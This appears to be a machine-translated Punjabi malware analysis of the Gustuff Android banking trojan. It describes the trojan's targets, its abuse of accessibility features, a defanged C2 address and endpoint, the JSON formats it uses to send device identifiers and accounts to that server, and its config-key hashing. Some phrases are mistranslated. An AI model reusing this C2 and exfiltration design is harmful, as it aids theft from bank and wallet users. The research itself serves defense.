ਐਂਡਰੌਇਡ ਟਰੋਜਨ ਗਸਟਫ ਤੁਹਾਡੇ ਖਾਤਿਆਂ ਤੋਂ ਕ੍ਰੀਮ (ਫੀਏਟ ਅਤੇ ਕ੍ਰਿਪਟੋ) ਨੂੰ ਕਿਵੇਂ ਸਕਿਮ ਕਰਦਾ ਹੈ

ਦੂਜੇ ਦਿਨ ਹੀ ਗਰੁੱਪ-ਆਈ.ਬੀ ਜਾਣਕਾਰੀ ਦਿੱਤੀ ਮੋਬਾਈਲ ਐਂਡਰੌਇਡ ਟਰੋਜਨ ਗਸਟਫ ਦੀ ਗਤੀਵਿਧੀ ਬਾਰੇ. ਇਹ ਅੰਤਰਰਾਸ਼ਟਰੀ ਬਾਜ਼ਾਰਾਂ ਵਿੱਚ ਵਿਸ਼ੇਸ਼ ਤੌਰ 'ਤੇ ਕੰਮ ਕਰਦਾ ਹੈ, 100 ਸਭ ਤੋਂ ਵੱਡੇ ਵਿਦੇਸ਼ੀ ਬੈਂਕਾਂ ਦੇ ਗਾਹਕਾਂ, ਮੋਬਾਈਲ 32 ਕ੍ਰਿਪਟੋ ਵਾਲਿਟ ਦੇ ਉਪਭੋਗਤਾਵਾਂ, ਅਤੇ ਨਾਲ ਹੀ ਵੱਡੇ ਈ-ਕਾਮਰਸ ਸਰੋਤਾਂ 'ਤੇ ਹਮਲਾ ਕਰਦਾ ਹੈ। ਪਰ ਗੁਸਟਫ ਦਾ ਡਿਵੈਲਪਰ ਬੇਸਟ ਆਫਰ ਦੇ ਉਪਨਾਮ ਹੇਠ ਇੱਕ ਰੂਸੀ ਬੋਲਣ ਵਾਲਾ ਸਾਈਬਰ ਅਪਰਾਧੀ ਹੈ। ਹਾਲ ਹੀ ਵਿੱਚ, ਉਸਨੇ "ਗਿਆਨ ਅਤੇ ਅਨੁਭਵ ਵਾਲੇ ਲੋਕਾਂ ਲਈ ਇੱਕ ਗੰਭੀਰ ਉਤਪਾਦ" ਵਜੋਂ ਆਪਣੇ ਟਰੋਜਨ ਦੀ ਪ੍ਰਸ਼ੰਸਾ ਕੀਤੀ ਸੀ।

ਗਰੁੱਪ-ਆਈਬੀ ਵਿਖੇ ਖਤਰਨਾਕ ਕੋਡ ਵਿਸ਼ਲੇਸ਼ਣ ਮਾਹਰ ਇਵਾਨ ਪਿਸਾਰੇਵ ਆਪਣੀ ਖੋਜ ਵਿੱਚ, ਉਹ ਇਸ ਬਾਰੇ ਵਿਸਥਾਰ ਵਿੱਚ ਗੱਲ ਕਰਦਾ ਹੈ ਕਿ ਗਸਟਫ ਕਿਵੇਂ ਕੰਮ ਕਰਦਾ ਹੈ ਅਤੇ ਇਸਦੇ ਖ਼ਤਰੇ ਕੀ ਹਨ।

ਗਸਟਫ ਕਿਸ ਲਈ ਸ਼ਿਕਾਰ ਕਰ ਰਿਹਾ ਹੈ?

Gustuff ਪੂਰੀ ਤਰ੍ਹਾਂ ਸਵੈਚਲਿਤ ਫੰਕਸ਼ਨਾਂ ਦੇ ਨਾਲ ਮਾਲਵੇਅਰ ਦੀ ਇੱਕ ਨਵੀਂ ਪੀੜ੍ਹੀ ਨਾਲ ਸਬੰਧਤ ਹੈ। ਡਿਵੈਲਪਰ ਦੇ ਅਨੁਸਾਰ, ਟਰੋਜਨ ਐਂਡੀਬੋਟ ਮਾਲਵੇਅਰ ਦਾ ਇੱਕ ਨਵਾਂ ਅਤੇ ਸੁਧਾਰਿਆ ਸੰਸਕਰਣ ਬਣ ਗਿਆ ਹੈ, ਜੋ ਨਵੰਬਰ 2017 ਤੋਂ ਐਂਡਰਾਇਡ ਫੋਨਾਂ 'ਤੇ ਹਮਲਾ ਕਰ ਰਿਹਾ ਹੈ ਅਤੇ ਮਸ਼ਹੂਰ ਅੰਤਰਰਾਸ਼ਟਰੀ ਬੈਂਕਾਂ ਅਤੇ ਭੁਗਤਾਨ ਪ੍ਰਣਾਲੀਆਂ ਦੀਆਂ ਮੋਬਾਈਲ ਐਪਲੀਕੇਸ਼ਨਾਂ ਦੇ ਰੂਪ ਵਿੱਚ ਫਿਸ਼ਿੰਗ ਵੈਬ ਫਾਰਮਾਂ ਦੁਆਰਾ ਪੈਸੇ ਚੋਰੀ ਕਰ ਰਿਹਾ ਹੈ। Bestoffer ਨੇ ਦੱਸਿਆ ਕਿ Gustuff Bot ਕਿਰਾਏ ਦੀ ਕੀਮਤ $800 ਪ੍ਰਤੀ ਮਹੀਨਾ ਸੀ।

ਗਸਟਫ ਨਮੂਨੇ ਦੇ ਵਿਸ਼ਲੇਸ਼ਣ ਨੇ ਦਿਖਾਇਆ ਕਿ ਟ੍ਰੋਜਨ ਸੰਭਾਵਤ ਤੌਰ 'ਤੇ ਸਭ ਤੋਂ ਵੱਡੇ ਬੈਂਕਾਂ, ਜਿਵੇਂ ਕਿ ਬੈਂਕ ਆਫ ਅਮਰੀਕਾ, ਬੈਂਕ ਆਫ ਸਕਾਟਲੈਂਡ, ਜੇਪੀਮੋਰਗਨ, ਵੇਲਸ ਫਾਰਗੋ, ਕੈਪੀਟਲ ਵਨ, ਟੀਡੀ ਬੈਂਕ, ਪੀਐਨਸੀ ਬੈਂਕ, ਅਤੇ ਨਾਲ ਹੀ ਕ੍ਰਿਪਟੋ ਵਾਲਿਟ ਦੇ ਮੋਬਾਈਲ ਐਪਲੀਕੇਸ਼ਨਾਂ ਦੀ ਵਰਤੋਂ ਕਰਦੇ ਹੋਏ ਗਾਹਕਾਂ ਨੂੰ ਨਿਸ਼ਾਨਾ ਬਣਾ ਰਿਹਾ ਹੈ। ਬਿਟਕੋਇਨ ਵਾਲਿਟ, ਬਿਟਪੇ, ਕ੍ਰਿਪਟੋਪੇ, ਸਿੱਕਾਬੇਸ, ਆਦਿ।

ਮੂਲ ਰੂਪ ਵਿੱਚ ਇੱਕ ਕਲਾਸਿਕ ਬੈਂਕਿੰਗ ਟਰੋਜਨ ਦੇ ਰੂਪ ਵਿੱਚ ਬਣਾਇਆ ਗਿਆ ਹੈ, ਮੌਜੂਦਾ ਸੰਸਕਰਣ ਵਿੱਚ ਗਸਟਫ ਨੇ ਹਮਲੇ ਦੇ ਸੰਭਾਵੀ ਟੀਚਿਆਂ ਦੀ ਸੂਚੀ ਵਿੱਚ ਮਹੱਤਵਪੂਰਨ ਤੌਰ 'ਤੇ ਵਿਸਤਾਰ ਕੀਤਾ ਹੈ। ਬੈਂਕਾਂ, ਫਿਨਟੈਕ ਕੰਪਨੀਆਂ ਅਤੇ ਕ੍ਰਿਪਟੋ ਸੇਵਾਵਾਂ ਲਈ ਐਂਡਰੌਇਡ ਐਪਲੀਕੇਸ਼ਨਾਂ ਤੋਂ ਇਲਾਵਾ, ਗਸਟਫ ਦਾ ਉਦੇਸ਼ ਮਾਰਕੀਟਪਲੇਸ ਐਪਲੀਕੇਸ਼ਨਾਂ, ਔਨਲਾਈਨ ਸਟੋਰਾਂ, ਭੁਗਤਾਨ ਪ੍ਰਣਾਲੀਆਂ ਅਤੇ ਤਤਕਾਲ ਮੈਸੇਂਜਰਾਂ ਦੇ ਉਪਭੋਗਤਾਵਾਂ ਲਈ ਹੈ। ਖਾਸ ਤੌਰ 'ਤੇ, PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut ਅਤੇ ਹੋਰ।

ਐਂਟਰੀ ਪੁਆਇੰਟ: ਪੁੰਜ ਦੀ ਲਾਗ ਲਈ ਗਣਨਾ

ਗਸਟਫ ਨੂੰ ਏਪੀਕੇ ਦੇ ਲਿੰਕਾਂ ਦੇ ਨਾਲ ਐਸਐਮਐਸ ਮੇਲਿੰਗਾਂ ਦੁਆਰਾ ਐਂਡਰੌਇਡ ਸਮਾਰਟਫ਼ੋਨ ਵਿੱਚ ਘੁਸਪੈਠ ਦੇ "ਕਲਾਸਿਕ" ਵੈਕਟਰ ਦੁਆਰਾ ਦਰਸਾਇਆ ਗਿਆ ਹੈ। ਜਦੋਂ ਇੱਕ ਐਂਡਰੌਇਡ ਡਿਵਾਈਸ ਸਰਵਰ ਦੀ ਕਮਾਂਡ 'ਤੇ ਟ੍ਰੋਜਨ ਨਾਲ ਸੰਕਰਮਿਤ ਹੁੰਦੀ ਹੈ, ਤਾਂ ਗਸਟਫ ਹੋਰ ਲਾਗ ਵਾਲੇ ਫੋਨ ਦੇ ਸੰਪਰਕ ਡੇਟਾਬੇਸ ਜਾਂ ਸਰਵਰ ਡੇਟਾਬੇਸ ਦੁਆਰਾ ਫੈਲ ਸਕਦਾ ਹੈ। ਗਸਟਫ ਦੀ ਕਾਰਜਕੁਸ਼ਲਤਾ ਪੁੰਜ ਸੰਕਰਮਣ ਅਤੇ ਇਸਦੇ ਆਪਰੇਟਰਾਂ ਦੇ ਕਾਰੋਬਾਰ ਦੇ ਵੱਧ ਤੋਂ ਵੱਧ ਪੂੰਜੀਕਰਣ ਲਈ ਤਿਆਰ ਕੀਤੀ ਗਈ ਹੈ - ਇਸਦਾ ਜਾਇਜ਼ ਮੋਬਾਈਲ ਬੈਂਕਿੰਗ ਐਪਲੀਕੇਸ਼ਨਾਂ ਅਤੇ ਕ੍ਰਿਪਟੋ ਵਾਲਿਟ ਵਿੱਚ ਇੱਕ ਵਿਲੱਖਣ "ਆਟੋ-ਫਿਲ" ਫੰਕਸ਼ਨ ਹੈ, ਜੋ ਤੁਹਾਨੂੰ ਪੈਸੇ ਦੀ ਚੋਰੀ ਨੂੰ ਤੇਜ਼ ਕਰਨ ਅਤੇ ਸਕੇਲ ਕਰਨ ਦੀ ਆਗਿਆ ਦਿੰਦਾ ਹੈ।

ਟਰੋਜਨ ਦੇ ਇੱਕ ਅਧਿਐਨ ਨੇ ਦਿਖਾਇਆ ਹੈ ਕਿ ਆਟੋਫਿਲ ਫੰਕਸ਼ਨ ਇਸ ਵਿੱਚ ਅਸੈਸਬਿਲਟੀ ਸਰਵਿਸ, ਅਪਾਹਜ ਲੋਕਾਂ ਲਈ ਇੱਕ ਸੇਵਾ ਦੀ ਵਰਤੋਂ ਕਰਕੇ ਲਾਗੂ ਕੀਤਾ ਗਿਆ ਸੀ। ਗਸਟਫ ਪਹਿਲਾ ਟਰੋਜਨ ਨਹੀਂ ਹੈ ਜਿਸ ਨੇ ਇਸ ਐਂਡਰੌਇਡ ਸੇਵਾ ਦੀ ਵਰਤੋਂ ਕਰਦੇ ਹੋਏ ਹੋਰ ਐਪਲੀਕੇਸ਼ਨਾਂ ਦੇ ਵਿੰਡੋ ਐਲੀਮੈਂਟਸ ਨਾਲ ਇੰਟਰੈਕਸ਼ਨ ਦੇ ਵਿਰੁੱਧ ਸੁਰੱਖਿਆ ਨੂੰ ਸਫਲਤਾਪੂਰਵਕ ਬਾਈਪਾਸ ਕੀਤਾ ਹੈ। ਹਾਲਾਂਕਿ, ਕਾਰ ਫਿਲਰ ਦੇ ਨਾਲ ਸੁਮੇਲ ਵਿੱਚ ਪਹੁੰਚਯੋਗਤਾ ਸੇਵਾ ਦੀ ਵਰਤੋਂ ਅਜੇ ਵੀ ਬਹੁਤ ਘੱਟ ਹੈ।

ਪੀੜਤ ਦੇ ਫੋਨ 'ਤੇ ਡਾਉਨਲੋਡ ਕਰਨ ਤੋਂ ਬਾਅਦ, ਗਸਟਫ, ਪਹੁੰਚਯੋਗਤਾ ਸੇਵਾ ਦੀ ਵਰਤੋਂ ਕਰਦੇ ਹੋਏ, ਹਮਲਾਵਰਾਂ ਲਈ ਲੋੜੀਂਦੀਆਂ ਕਾਰਵਾਈਆਂ ਕਰਦੇ ਹੋਏ, ਹੋਰ ਐਪਲੀਕੇਸ਼ਨਾਂ (ਬੈਂਕਿੰਗ, ਕ੍ਰਿਪਟੋਕੁਰੰਸੀ, ਨਾਲ ਹੀ ਔਨਲਾਈਨ ਖਰੀਦਦਾਰੀ, ਮੈਸੇਜਿੰਗ ਆਦਿ ਲਈ ਐਪਲੀਕੇਸ਼ਨਾਂ) ਦੇ ਵਿੰਡੋ ਤੱਤਾਂ ਨਾਲ ਗੱਲਬਾਤ ਕਰਨ ਦੇ ਯੋਗ ਹੁੰਦਾ ਹੈ। . ਉਦਾਹਰਨ ਲਈ, ਸਰਵਰ ਦੀ ਕਮਾਂਡ 'ਤੇ, ਇੱਕ ਟਰੋਜਨ ਬਟਨ ਦਬਾ ਸਕਦਾ ਹੈ ਅਤੇ ਬੈਂਕਿੰਗ ਐਪਲੀਕੇਸ਼ਨਾਂ ਵਿੱਚ ਟੈਕਸਟ ਖੇਤਰਾਂ ਦੇ ਮੁੱਲਾਂ ਨੂੰ ਬਦਲ ਸਕਦਾ ਹੈ। ਐਕਸੈਸਬਿਲਟੀ ਸਰਵਿਸ ਮਕੈਨਿਜ਼ਮ ਦੀ ਵਰਤੋਂ ਕਰਨਾ ਟ੍ਰੋਜਨ ਨੂੰ ਪਿਛਲੀ ਪੀੜ੍ਹੀ ਦੇ ਮੋਬਾਈਲ ਟਰੋਜਨਾਂ ਦਾ ਮੁਕਾਬਲਾ ਕਰਨ ਲਈ ਬੈਂਕਾਂ ਦੁਆਰਾ ਵਰਤੇ ਗਏ ਸੁਰੱਖਿਆ ਤੰਤਰ ਨੂੰ ਬਾਈਪਾਸ ਕਰਨ ਦੀ ਇਜਾਜ਼ਤ ਦਿੰਦਾ ਹੈ, ਅਤੇ ਨਾਲ ਹੀ ਐਂਡਰੌਇਡ OS ਦੇ ਨਵੇਂ ਸੰਸਕਰਣਾਂ ਵਿੱਚ Google ਦੁਆਰਾ ਲਾਗੂ ਕੀਤੀ ਸੁਰੱਖਿਆ ਨੀਤੀ ਵਿੱਚ ਬਦਲਾਅ ਕਰਦਾ ਹੈ। ਇਸ ਤਰ੍ਹਾਂ, ਗੁਸਟਫ "ਜਾਣਦਾ ਹੈ ਕਿ ਕਿਵੇਂ" ਗੂਗਲ ਪ੍ਰੋਟੈਕਟ ਸੁਰੱਖਿਆ ਨੂੰ ਅਸਮਰੱਥ ਬਣਾਉਣਾ ਹੈ: ਲੇਖਕ ਦੇ ਅਨੁਸਾਰ, ਇਹ ਫੰਕਸ਼ਨ 70% ਮਾਮਲਿਆਂ ਵਿੱਚ ਕੰਮ ਕਰਦਾ ਹੈ।

ਗਸਟਫ ਜਾਇਜ਼ ਮੋਬਾਈਲ ਐਪਲੀਕੇਸ਼ਨਾਂ ਦੇ ਆਈਕਨਾਂ ਨਾਲ ਜਾਅਲੀ ਪੁਸ਼ ਸੂਚਨਾਵਾਂ ਵੀ ਪ੍ਰਦਰਸ਼ਿਤ ਕਰ ਸਕਦਾ ਹੈ। ਉਪਭੋਗਤਾ PUSH ਨੋਟੀਫਿਕੇਸ਼ਨ 'ਤੇ ਕਲਿੱਕ ਕਰਦਾ ਹੈ ਅਤੇ ਸਰਵਰ ਤੋਂ ਡਾਊਨਲੋਡ ਕੀਤੀ ਇੱਕ ਫਿਸ਼ਿੰਗ ਵਿੰਡੋ ਦੇਖਦਾ ਹੈ, ਜਿੱਥੇ ਉਹ ਬੇਨਤੀ ਕੀਤੇ ਬੈਂਕ ਕਾਰਡ ਜਾਂ ਕ੍ਰਿਪਟੋ ਵਾਲਿਟ ਡੇਟਾ ਨੂੰ ਦਾਖਲ ਕਰਦਾ ਹੈ। ਇੱਕ ਹੋਰ ਗਸਟਫ ਦ੍ਰਿਸ਼ ਵਿੱਚ, ਐਪਲੀਕੇਸ਼ਨ ਜਿਸ ਦੀ ਤਰਫੋਂ PUSH ਨੋਟੀਫਿਕੇਸ਼ਨ ਪ੍ਰਦਰਸ਼ਿਤ ਕੀਤਾ ਗਿਆ ਸੀ ਖੋਲ੍ਹਿਆ ਗਿਆ ਹੈ। ਇਸ ਸਥਿਤੀ ਵਿੱਚ, ਮਾਲਵੇਅਰ, ਸਰਵਰ ਤੋਂ ਅਸੈਸਬਿਲਟੀ ਸੇਵਾ ਦੁਆਰਾ ਹੁਕਮ 'ਤੇ, ਇੱਕ ਧੋਖਾਧੜੀ ਵਾਲੇ ਲੈਣ-ਦੇਣ ਲਈ ਬੈਂਕਿੰਗ ਐਪਲੀਕੇਸ਼ਨ ਦੇ ਫਾਰਮ ਖੇਤਰਾਂ ਨੂੰ ਭਰ ਸਕਦਾ ਹੈ।

ਗਸਟਫ ਦੀ ਕਾਰਜਕੁਸ਼ਲਤਾ ਵਿੱਚ ਸਰਵਰ ਨੂੰ ਇੱਕ ਸੰਕਰਮਿਤ ਡਿਵਾਈਸ ਬਾਰੇ ਜਾਣਕਾਰੀ ਭੇਜਣਾ, SMS ਸੁਨੇਹਿਆਂ ਨੂੰ ਪੜ੍ਹਨ/ਭੇਜਣ ਦੀ ਯੋਗਤਾ, USSD ਬੇਨਤੀਆਂ ਭੇਜਣਾ, SOCKS5 ਪ੍ਰੌਕਸੀ ਲਾਂਚ ਕਰਨਾ, ਇੱਕ ਲਿੰਕ ਦਾ ਅਨੁਸਰਣ ਕਰਨਾ, ਫਾਈਲਾਂ (ਦਸਤਾਵੇਜ਼ਾਂ ਦੇ ਫੋਟੋ ਸਕੈਨ, ਸਕ੍ਰੀਨਸ਼ੌਟਸ, ਫੋਟੋਆਂ ਸਮੇਤ) ਭੇਜਣਾ ਸ਼ਾਮਲ ਹੈ। ਸਰਵਰ, ਡਿਵਾਈਸ ਨੂੰ ਫੈਕਟਰੀ ਸੈਟਿੰਗਾਂ ਤੇ ਰੀਸੈਟ ਕਰੋ।

ਮਾਲਵੇਅਰ ਵਿਸ਼ਲੇਸ਼ਣ

ਇੱਕ ਖਤਰਨਾਕ ਐਪਲੀਕੇਸ਼ਨ ਨੂੰ ਸਥਾਪਿਤ ਕਰਨ ਤੋਂ ਪਹਿਲਾਂ, Android OS ਉਪਭੋਗਤਾ ਨੂੰ ਇੱਕ ਵਿੰਡੋ ਦਿਖਾਉਂਦਾ ਹੈ ਜਿਸ ਵਿੱਚ ਗੁਸਟਫ ਦੁਆਰਾ ਬੇਨਤੀ ਕੀਤੇ ਅਧਿਕਾਰਾਂ ਦੀ ਸੂਚੀ ਹੁੰਦੀ ਹੈ:

ਉਪਯੋਗਕਰਤਾ ਦੀ ਸਹਿਮਤੀ ਪ੍ਰਾਪਤ ਕਰਨ ਤੋਂ ਬਾਅਦ ਹੀ ਐਪਲੀਕੇਸ਼ਨ ਨੂੰ ਸਥਾਪਿਤ ਕੀਤਾ ਜਾਵੇਗਾ। ਐਪਲੀਕੇਸ਼ਨ ਨੂੰ ਲਾਂਚ ਕਰਨ ਤੋਂ ਬਾਅਦ, ਟਰੋਜਨ ਉਪਭੋਗਤਾ ਨੂੰ ਇੱਕ ਵਿੰਡੋ ਦਿਖਾਏਗਾ:

ਜਿਸ ਤੋਂ ਬਾਅਦ ਇਹ ਆਪਣਾ ਆਈਕਨ ਹਟਾ ਦੇਵੇਗਾ।

ਲੇਖਕ ਦੇ ਅਨੁਸਾਰ, ਗਸਟਫ ਨੂੰ FTT ਦੇ ਇੱਕ ਪੈਕਰ ਦੁਆਰਾ ਪੈਕ ਕੀਤਾ ਜਾਂਦਾ ਹੈ। ਸਟਾਰਟਅੱਪ ਤੋਂ ਬਾਅਦ, ਐਪਲੀਕੇਸ਼ਨ ਸਮੇਂ-ਸਮੇਂ 'ਤੇ ਕਮਾਂਡਾਂ ਪ੍ਰਾਪਤ ਕਰਨ ਲਈ CnC ਸਰਵਰ ਨਾਲ ਸੰਪਰਕ ਕਰਦੀ ਹੈ। ਕਈ ਫਾਈਲਾਂ ਜਿਨ੍ਹਾਂ ਦੀ ਅਸੀਂ ਜਾਂਚ ਕੀਤੀ ਹੈ ਉਹਨਾਂ ਨੇ ਇੱਕ IP ਐਡਰੈੱਸ ਨੂੰ ਕੰਟਰੋਲ ਸਰਵਰ ਵਜੋਂ ਵਰਤਿਆ ਹੈ 88.99.171 [.] 105 (ਇਸ ਤੋਂ ਬਾਅਦ ਅਸੀਂ ਇਸਨੂੰ ਇਸ ਤਰ੍ਹਾਂ ਦਰਸਾਵਾਂਗੇ <%CnC%>).

ਲਾਂਚ ਹੋਣ ਤੋਂ ਬਾਅਦ, ਪ੍ਰੋਗਰਾਮ ਸਰਵਰ ਨੂੰ ਸੰਦੇਸ਼ ਭੇਜਣਾ ਸ਼ੁਰੂ ਕਰਦਾ ਹੈ http://<%CnC%>/api/v1/get.php.

ਜਵਾਬ ਹੇਠਾਂ ਦਿੱਤੇ ਫਾਰਮੈਟ ਵਿੱਚ JSON ਹੋਣ ਦੀ ਉਮੀਦ ਹੈ:

{
    "results" : "OK",
    "command":{
        "id": "<%id%>",
        "command":"<%command%>",
        "timestamp":"<%Server Timestamp%>",
        "params":{
		<%Command parameters as JSON%>
        },
    },
}

ਹਰ ਵਾਰ ਜਦੋਂ ਐਪਲੀਕੇਸ਼ਨ ਤੱਕ ਪਹੁੰਚ ਕੀਤੀ ਜਾਂਦੀ ਹੈ, ਇਹ ਸੰਕਰਮਿਤ ਡਿਵਾਈਸ ਬਾਰੇ ਜਾਣਕਾਰੀ ਭੇਜਦੀ ਹੈ। ਸੁਨੇਹਾ ਫਾਰਮੈਟ ਹੇਠਾਂ ਦਿਖਾਇਆ ਗਿਆ ਹੈ। ਇਹ ਧਿਆਨ ਦੇਣ ਯੋਗ ਹੈ ਕਿ ਖੇਤ ਪੂਰੀ, ਵਾਧੂ, ਐਪਸ и ਆਗਿਆ - ਵਿਕਲਪਿਕ ਅਤੇ ਸਿਰਫ CnC ਤੋਂ ਬੇਨਤੀ ਕਮਾਂਡ ਦੇ ਮਾਮਲੇ ਵਿੱਚ ਭੇਜਿਆ ਜਾਵੇਗਾ।

{
    "info":
    {
        "info":
        {
            "cell":<%Sim operator name%>,
            "country":<%Country ISO%>,
            "imei":<%IMEI%>,
            "number":<%Phone number%>,
            "line1Number":<%Phone number%>,
            "advertisementId":<%ID%>
        },
        "state":
        {
            "admin":<%Has admin rights%>,
            "source":<%String%>,
            "needPermissions":<%Application needs permissions%>,
            "accesByName":<%Boolean%>,
            "accesByService":<%Boolean%>,
            "safetyNet":<%String%>,
            "defaultSmsApp":<%Default Sms Application%>,
            "isDefaultSmsApp":<%Current application is Default Sms Application%>,
            "dateTime":<%Current date time%>,
            "batteryLevel":<%Battery level%>
        },
        "socks":
        {
            "id":<%Proxy module ID%>,
            "enabled":<%Is enabled%>,
            "active":<%Is active%>
        },
        "version":
        {
            "versionName":<%Package Version Name%>,
            "versionCode":<%Package Version Code%>,
            "lastUpdateTime":<%Package Last Update Time%>,
            "tag":<%Tag, default value: "TAG"%>,
            "targetSdkVersion":<%Target Sdk Version%>,
            "buildConfigTimestamp":1541309066721
        },
    },
    "full":
    {
        "model":<%Device Model%>,
        "localeCountry":<%Country%>,
        "localeLang":<%Locale language%>,
        "accounts":<%JSON array, contains from "name" and "type" of accounts%>,
        "lockType":<%Type of lockscreen password%>
    },
    "extra":
    {
        "serial":<%Build serial number%>,
        "board":<%Build Board%>,
        "brand":<%Build Brand%>,
        "user":<%Build User%>,
        "device":<%Build Device%>,
        "display":<%Build Display%>,
        "id":<%Build ID%>,
        "manufacturer":<%Build manufacturer%>,
        "model":<%Build model%>,
        "product":<%Build product%>,
        "tags":<%Build tags%>,
        "type":<%Build type%>,
        "imei":<%imei%>,
        "imsi":<%imsi%>,
        "line1number":<%phonenumber%>,
        "iccid":<%Sim serial number%>,
        "mcc":<%Mobile country code of operator%>,
        "mnc":<%Mobile network codeof operator%>,
        "cellid":<%GSM-data%>,
        "lac":<%GSM-data%>,
        "androidid":<%Android Id%>,
        "ssid":<%Wi-Fi SSID%>
    },
    "apps":{<%List of installed applications%>},
    "permission":<%List of granted permissions%>
} 

ਸੰਰਚਨਾ ਡੇਟਾ ਨੂੰ ਸਟੋਰ ਕਰਨਾ

ਗਸਟਫ ਇੱਕ ਤਰਜੀਹ ਫਾਈਲ ਵਿੱਚ ਕਾਰਜਸ਼ੀਲ ਮਹੱਤਵਪੂਰਨ ਜਾਣਕਾਰੀ ਨੂੰ ਸਟੋਰ ਕਰਦਾ ਹੈ। ਫਾਈਲ ਦਾ ਨਾਮ, ਅਤੇ ਨਾਲ ਹੀ ਇਸ ਵਿੱਚ ਪੈਰਾਮੀਟਰਾਂ ਦੇ ਨਾਮ, ਸਤਰ ਤੋਂ MD5 ਜੋੜ ਦੀ ਗਣਨਾ ਕਰਨ ਦਾ ਨਤੀਜਾ ਹਨ 15413090667214.6.1<%name%>ਕਿੱਥੇ <%name%> - ਸ਼ੁਰੂਆਤੀ ਨਾਮ-ਮੁੱਲ। ਨਾਮ ਜਨਰੇਸ਼ਨ ਫੰਕਸ਼ਨ ਦੀ ਪਾਈਥਨ ਵਿਆਖਿਆ:

 nameGenerator(input):
    output = md5("15413090667214.6.1" + input) 

ਇਸ ਤੋਂ ਬਾਅਦ ਅਸੀਂ ਇਸਨੂੰ ਇਸ ਤਰ੍ਹਾਂ ਦਰਸਾਵਾਂਗੇ ਨਾਮ ਜਨਰੇਟਰ (ਇਨਪੁਟ).
ਇਸ ਲਈ ਪਹਿਲੀ ਫਾਈਲ ਦਾ ਨਾਮ ਹੈ: nameGenerator("API_SERVER_LIST"), ਇਸ ਵਿੱਚ ਹੇਠਾਂ ਦਿੱਤੇ ਨਾਵਾਂ ਵਾਲੇ ਮੁੱਲ ਹਨ:

ਵੇਰੀਏਬਲ ਨਾਮ	ਮੁੱਲ
nameGenerator("API_SERVER_LIST")	ਇੱਕ ਐਰੇ ਦੇ ਰੂਪ ਵਿੱਚ CnC ਪਤਿਆਂ ਦੀ ਸੂਚੀ ਰੱਖਦਾ ਹੈ।
nameGenerator("API_SERVER_URL")	CnC ਐਡਰੈੱਸ ਰੱਖਦਾ ਹੈ।
nameGenerator("SMS_UPLOAD")	ਝੰਡਾ ਮੂਲ ਰੂਪ ਵਿੱਚ ਸੈੱਟ ਕੀਤਾ ਗਿਆ ਹੈ। ਜੇਕਰ ਫਲੈਗ ਸੈੱਟ ਹੈ, ਤਾਂ CnC ਨੂੰ SMS ਸੁਨੇਹੇ ਭੇਜਦਾ ਹੈ।
ਨਾਮ ਜਨਰੇਟਰ("SMS_ROOT_NUMBER")	ਫ਼ੋਨ ਨੰਬਰ ਜਿਸ 'ਤੇ ਸੰਕਰਮਿਤ ਡਿਵਾਈਸ ਦੁਆਰਾ ਪ੍ਰਾਪਤ ਕੀਤੇ SMS ਸੁਨੇਹੇ ਭੇਜੇ ਜਾਣਗੇ। ਪੂਰਵ-ਨਿਰਧਾਰਤ ਖਾਲੀ ਹੈ।
nameGenerator("SMS_ROOT_NUMBER_RESEND")	ਫਲੈਗ ਨੂੰ ਮੂਲ ਰੂਪ ਵਿੱਚ ਸਾਫ਼ ਕੀਤਾ ਜਾਂਦਾ ਹੈ। ਜੇਕਰ ਸਥਾਪਿਤ ਕੀਤਾ ਗਿਆ ਹੈ, ਜਦੋਂ ਇੱਕ ਸੰਕਰਮਿਤ ਡਿਵਾਈਸ ਇੱਕ SMS ਪ੍ਰਾਪਤ ਕਰਦਾ ਹੈ, ਤਾਂ ਇਸਨੂੰ ਰੂਟ ਨੰਬਰ 'ਤੇ ਭੇਜਿਆ ਜਾਵੇਗਾ।
nameGenerator("DEFAULT_APP_SMS")	ਫਲੈਗ ਨੂੰ ਮੂਲ ਰੂਪ ਵਿੱਚ ਸਾਫ਼ ਕੀਤਾ ਜਾਂਦਾ ਹੈ। ਜੇਕਰ ਇਹ ਫਲੈਗ ਸੈੱਟ ਕੀਤਾ ਜਾਂਦਾ ਹੈ, ਤਾਂ ਐਪਲੀਕੇਸ਼ਨ ਆਉਣ ਵਾਲੇ SMS ਸੁਨੇਹਿਆਂ 'ਤੇ ਕਾਰਵਾਈ ਕਰੇਗੀ।
nameGenerator("DEFAULT_ADMIN")	ਫਲੈਗ ਨੂੰ ਮੂਲ ਰੂਪ ਵਿੱਚ ਸਾਫ਼ ਕੀਤਾ ਜਾਂਦਾ ਹੈ। ਜੇਕਰ ਫਲੈਗ ਸੈੱਟ ਕੀਤਾ ਗਿਆ ਹੈ, ਤਾਂ ਐਪਲੀਕੇਸ਼ਨ ਕੋਲ ਪ੍ਰਸ਼ਾਸਕ ਦੇ ਅਧਿਕਾਰ ਹਨ।
nameGenerator("DEFAULT_ACCESSIBILITY")	ਫਲੈਗ ਨੂੰ ਮੂਲ ਰੂਪ ਵਿੱਚ ਸਾਫ਼ ਕੀਤਾ ਜਾਂਦਾ ਹੈ। ਜੇਕਰ ਫਲੈਗ ਸੈੱਟ ਕੀਤਾ ਗਿਆ ਹੈ, ਤਾਂ ਪਹੁੰਚਯੋਗਤਾ ਸੇਵਾ ਦੀ ਵਰਤੋਂ ਕਰਨ ਵਾਲੀ ਸੇਵਾ ਚੱਲ ਰਹੀ ਹੈ।
nameGenerator("APPS_CONFIG")	ਇੱਕ JSON ਵਸਤੂ ਜਿਸ ਵਿੱਚ ਉਹਨਾਂ ਕਾਰਵਾਈਆਂ ਦੀ ਇੱਕ ਸੂਚੀ ਹੁੰਦੀ ਹੈ ਜੋ ਕਿਸੇ ਖਾਸ ਐਪਲੀਕੇਸ਼ਨ ਨਾਲ ਸੰਬੰਧਿਤ ਪਹੁੰਚਯੋਗਤਾ ਇਵੈਂਟ ਦੇ ਸ਼ੁਰੂ ਹੋਣ 'ਤੇ ਕੀਤੀਆਂ ਜਾਣੀਆਂ ਚਾਹੀਦੀਆਂ ਹਨ।
nameGenerator("APPS_INSTALLED")	ਡਿਵਾਈਸ 'ਤੇ ਸਥਾਪਿਤ ਐਪਲੀਕੇਸ਼ਨਾਂ ਦੀ ਸੂਚੀ ਸਟੋਰ ਕਰਦਾ ਹੈ।
